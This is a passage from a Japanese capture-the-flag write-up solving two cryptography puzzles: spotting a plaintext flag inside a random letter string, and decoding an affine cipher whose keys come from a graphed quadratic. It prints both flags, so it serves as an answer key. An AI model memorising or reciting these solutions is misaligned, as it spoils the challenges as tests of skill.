ylxivrfzthhaqjtezqsgquaeupbizsgtkhcwtprtgpmgoaonxqukrclimqtdsvdgayvmcppcixsxkpnpewmaavrlcrufvupifrmqcipomaycwsnjojnskhzvrdadjhthtoqucpbrkjicjekxdkvxfjzdzidrpurovmldntpctxoezsntvsvvazwy
この中にフラグが隠れているようだが、どのように探すか。。。theが入っていると推測して検索してみる。
imaginegivingtheplaintextandnottheciphertextriplmao
flag{imagine_giving_the_plaintext_and_not_the_ciphertext_rip_lmao}
Affina and the Quadratics (Cryptography)
グラフから読み取れる二次関数は以下の通り。
y = x^2 + 3*x + 2
問題のメッセージは "7rr4p6_4e_4ph6bo8hap2"
まずhttps://www.dcode.fr/affine-cipherで復号する。
A=3,B=2 7ff4n6_4s_4nt6re8tin2
どうやらグラフの係数が鍵になっていたようだ。さらに数字は3引く。
4ff1n3_1s_1nt3re5tin9
flag{4ff1n3_1s_1nt3re5tin9}